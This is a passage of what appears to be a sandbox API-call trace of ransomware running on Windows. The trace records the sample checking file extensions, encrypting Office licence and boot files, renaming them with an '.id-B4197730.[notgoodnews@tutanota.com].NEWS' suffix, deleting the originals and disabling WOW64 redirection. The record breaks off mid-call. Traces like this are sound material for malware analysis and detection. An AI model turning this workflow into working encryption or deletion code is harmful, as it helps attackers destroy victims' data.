(lpString=".zip") returned 4 [0190.271] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.271] lstrlenW (lpString=".rar") returned 4 [0190.271] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.271] lstrlenW (lpString=".bz2") returned 4 [0190.271] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.271] lstrlenW (lpString=".7z") returned 3 [0190.271] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0190.272] lstrlenW (lpString=".dbf") returned 4 [0190.272] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0190.272] lstrlenW (lpString=".1cd") returned 4 [0190.272] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0190.272] lstrlenW (lpString=".jpg") returned 4 [0190.272] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0190.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0190.272] lstrlenW (lpString=".doc") returned 4 [0190.272] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.272] lstrlenW (lpString=".docx") returned 5 [0190.272] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.272] lstrlenW (lpString=".pdf") returned 4 [0190.272] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.272] lstrlenW (lpString=".xls") returned 4 [0190.272] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.272] lstrlenW (lpString=".xlsx") returned 5 [0190.272] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.272] lstrlenW (lpString=".ppt") returned 4 [0190.272] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0190.272] lstrlenW (lpString=".zip") returned 4 [0190.272] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.272] lstrlenW (lpString=".rar") returned 4 [0190.272] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.272] lstrlenW (lpString=".bz2") returned 4 [0190.272] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.272] lstrlenW (lpString=".7z") returned 3 [0190.272] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0190.272] lstrlenW (lpString=".dbf") returned 4 [0190.272] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0190.273] lstrlenW (lpString=".1cd") returned 4 [0190.273] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0190.273] lstrlenW (lpString=".jpg") returned 4 [0190.273] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.273] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0190.273] lstrlenW (lpString="MondoR_Trial-ppd.xrm-ms") returned 23 [0190.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0190.514] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=26585) returned 1 [0190.514] CloseHandle (hObject=0x2c4) returned 1 [0190.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 0x220 [0190.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0190.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0190.514] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.514] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0190.515] GetLastError () returned 0x0 [0190.515] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x67d9, lpOverlapped=0x0) returned 1 [0190.517] WriteFile (in: hFile=0x2c8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x67e0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x67e0, lpOverlapped=0x0) returned 1 [0190.519] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.519] WriteFile (in: hFile=0x2c8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x102, lpOverlapped=0x0) returned 1 [0190.519] SetEndOfFile (hFile=0x2c8) returned 1 [0190.519] CloseHandle (hObject=0x2c8) returned 1 [0190.519] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.519] SetEndOfFile (hFile=0x2c4) returned 1 [0190.523] CloseHandle (hObject=0x2c4) returned 1 [0190.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0190.523] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 1 [0190.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0190.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0190.524] lstrlenW (lpString=".doc") returned 4 [0190.524] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.524] lstrlenW (lpString=".docx") returned 5 [0190.524] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.524] lstrlenW (lpString=".pdf") returned 4 [0190.524] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.524] lstrlenW (lpString=".xls") returned 4 [0190.524] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.524] lstrlenW (lpString=".xlsx") returned 5 [0190.524] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.524] lstrlenW (lpString=".ppt") returned 4 [0190.524] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0190.525] lstrlenW (lpString=".zip") returned 4 [0190.525] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.525] lstrlenW (lpString=".rar") returned 4 [0190.525] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.525] lstrlenW (lpString=".bz2") returned 4 [0190.525] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.525] lstrlenW (lpString=".7z") returned 3 [0190.525] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0190.525] lstrlenW (lpString=".dbf") returned 4 [0190.525] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0190.525] lstrlenW (lpString=".1cd") returned 4 [0190.525] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0190.525] lstrlenW (lpString=".jpg") returned 4 [0190.525] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0190.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0190.525] lstrlenW (lpString=".doc") returned 4 [0190.525] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.525] lstrlenW (lpString=".docx") returned 5 [0190.525] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.525] lstrlenW (lpString=".pdf") returned 4 [0190.525] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.525] lstrlenW (lpString=".xls") returned 4 [0190.525] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.525] lstrlenW (lpString=".xlsx") returned 5 [0190.525] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.525] lstrlenW (lpString=".ppt") returned 4 [0190.525] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0190.526] lstrlenW (lpString=".zip") returned 4 [0190.526] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.526] lstrlenW (lpString=".rar") returned 4 [0190.526] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.526] lstrlenW (lpString=".bz2") returned 4 [0190.526] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.526] lstrlenW (lpString=".7z") returned 3 [0190.526] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0190.526] lstrlenW (lpString=".dbf") returned 4 [0190.526] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0190.526] lstrlenW (lpString=".1cd") returned 4 [0190.526] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0190.526] lstrlenW (lpString=".jpg") returned 4 [0190.526] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.526] lstrlenW (lpString=".id-") returned 4 [0190.526] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47d270 | out: hHeap=0x420000) returned 1 [0190.526] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bda68 | out: hHeap=0x420000) returned 1 [0190.526] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x38a1450 | out: hHeap=0x420000) returned 1 [0190.530] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x38b1458 | out: hHeap=0x420000) returned 1 [0190.533] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3c6a020 | out: hHeap=0x420000) returned 1 [0190.538] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47d168 | out: hHeap=0x420000) returned 1 [0190.538] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089258 [0190.539] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089258, Size=0x20) returned 0x408dbc8 [0190.539] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x40891e0 [0190.539] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x40891e0, Size=0x20) returned 0x408dc68 [0190.539] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.539] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.539] Wow64DisableWow64FsRedirection (in: OldValue=0x321ff50 | out: OldValue=0x321ff50*=0x1) returned 1 [0190.539] lstrlenW (lpString="kernel32.dll") returned 12 [0190.539] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408dc68 | out: hHeap=0x420000) returned 1 [0190.539] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.539] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408dbc8 | out: hHeap=0x420000) returned 1 Thread: id = 45 os_tid = 0xdfc [0157.063] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x38c1460 [0157.064] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x38d1468 [0157.064] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d4f8 [0157.064] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bdae8 [0157.064] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d288 [0157.064] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x3d73020 [0157.067] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d2a0 [0157.067] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47d2a0, Size=0x20) returned 0x45f300 [0157.067] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d318 [0157.067] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47d318, Size=0x20) returned 0x45f350 [0157.067] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0157.067] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0157.068] Wow64DisableWow64FsRedirection (in: OldValue=0x335ff50 | out: OldValue=0x335ff50*=0x0) returned 1 [0157.068] lstrlenW (lpString="kernel32.dll") returned 12 [0157.068] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f300 | out: hHeap=0x420000) returned 1 [0157.068] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.068] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f350 | out: hHeap=0x420000) returned 1 [0157.068] Sleep (dwMilliseconds=0x64) [0157.252] Sleep (dwMilliseconds=0x64) [0157.526] Sleep (dwMilliseconds=0x64) [0157.741] Sleep (dwMilliseconds=0x64) [0157.973] lstrcmpiW (lpString1=".LOG1", lpString2=".NEWS") returned -1 [0157.973] lstrlenW (lpString="BCD.LOG1") returned 8 [0157.973] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0158.018] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=0) returned 1 [0158.018] CloseHandle (hObject=0x344) returned 1 [0158.018] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0158.018] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0158.018] lstrlenW (lpString=".doc") returned 4 [0158.018] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0158.018] lstrlenW (lpString=".docx") returned 5 [0158.018] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0158.018] lstrlenW (lpString=".pdf") returned 4 [0158.018] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0158.018] lstrlenW (lpString=".xls") returned 4 [0158.018] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0158.018] lstrlenW (lpString=".xlsx") returned 5 [0158.018] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0158.018] lstrlenW (lpString=".ppt") returned 4 [0158.018] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0158.018] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0158.018] lstrlenW (lpString=".zip") returned 4 [0158.018] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0158.018] lstrlenW (lpString=".rar") returned 4 [0158.018] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0158.018] lstrlenW (lpString=".bz2") returned 4 [0158.018] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0158.018] lstrlenW (lpString=".7z") returned 3 [0158.018] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0158.018] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0158.018] lstrlenW (lpString=".dbf") returned 4 [0158.019] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0158.019] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0158.019] lstrlenW (lpString=".1cd") returned 4 [0158.019] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0158.019] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0158.019] lstrlenW (lpString=".jpg") returned 4 [0158.019] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0158.019] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0158.019] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0158.019] lstrlenW (lpString=".doc") returned 4 [0158.019] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0158.019] lstrlenW (lpString=".docx") returned 5 [0158.019] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0158.019] lstrlenW (lpString=".pdf") returned 4 [0158.019] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0158.019] lstrlenW (lpString=".xls") returned 4 [0158.019] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0158.019] lstrlenW (lpString=".xlsx") returned 5 [0158.019] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0158.019] lstrlenW (lpString=".ppt") returned 4 [0158.019] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0158.019] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0158.019] lstrlenW (lpString=".zip") returned 4 [0158.019] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0158.019] lstrlenW (lpString=".rar") returned 4 [0158.019] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0158.019] lstrlenW (lpString=".bz2") returned 4 [0158.019] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0158.019] lstrlenW (lpString=".7z") returned 3 [0158.019] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0158.019] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0158.019] lstrlenW (lpString=".dbf") returned 4 [0158.019] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0158.019] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0158.020] lstrlenW (lpString=".1cd") returned 4 [0158.020] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0158.020] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0158.020] lstrlenW (lpString=".jpg") returned 4 [0158.020] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0158.020] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0158.020] lstrlenW (lpString="bootvhd.dll") returned 11 [0158.020] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0158.020] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=99744) returned 1 [0158.020] CloseHandle (hObject=0x344) returned 1 [0158.020] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0158.020] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.020] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.021] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0158.021] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0158.021] lstrlenW (lpString=".doc") returned 4 [0158.021] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.021] lstrlenW (lpString=".docx") returned 5 [0158.021] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0158.021] lstrlenW (lpString=".pdf") returned 4 [0158.021] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.021] lstrlenW (lpString=".xls") returned 4 [0158.021] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.021] lstrlenW (lpString=".xlsx") returned 5 [0158.021] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0158.021] lstrlenW (lpString=".ppt") returned 4 [0158.021] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.021] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0158.021] lstrlenW (lpString=".zip") returned 4 [0158.021] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.021] lstrlenW (lpString=".rar") returned 4 [0158.021] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.021] lstrlenW (lpString=".bz2") returned 4 [0158.021] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.021] lstrlenW (lpString=".7z") returned 3 [0158.021] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.021] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0158.021] lstrlenW (lpString=".dbf") returned 4 [0158.021] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.021] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0158.021] lstrlenW (lpString=".1cd") returned 4 [0158.021] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.021] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0158.021] lstrlenW (lpString=".jpg") returned 4 [0158.022] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.022] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0158.022] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0158.022] lstrlenW (lpString=".doc") returned 4 [0158.022] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.022] lstrlenW (lpString=".docx") returned 5 [0158.022] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0158.022] lstrlenW (lpString=".pdf") returned 4 [0158.022] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.022] lstrlenW (lpString=".xls") returned 4 [0158.022] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.022] lstrlenW (lpString=".xlsx") returned 5 [0158.022] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0158.022] lstrlenW (lpString=".ppt") returned 4 [0158.022] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.022] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0158.022] lstrlenW (lpString=".zip") returned 4 [0158.022] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.022] lstrlenW (lpString=".rar") returned 4 [0158.022] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.022] lstrlenW (lpString=".bz2") returned 4 [0158.022] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.022] lstrlenW (lpString=".7z") returned 3 [0158.022] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.022] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0158.022] lstrlenW (lpString=".dbf") returned 4 [0158.022] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.022] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0158.022] lstrlenW (lpString=".1cd") returned 4 [0158.022] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.022] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0158.022] lstrlenW (lpString=".jpg") returned 4 [0158.022] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.023] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0158.023] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0158.023] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0158.023] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=76632) returned 1 [0158.023] CloseHandle (hObject=0x344) returned 1 [0158.023] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0158.023] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.023] CreateFileW 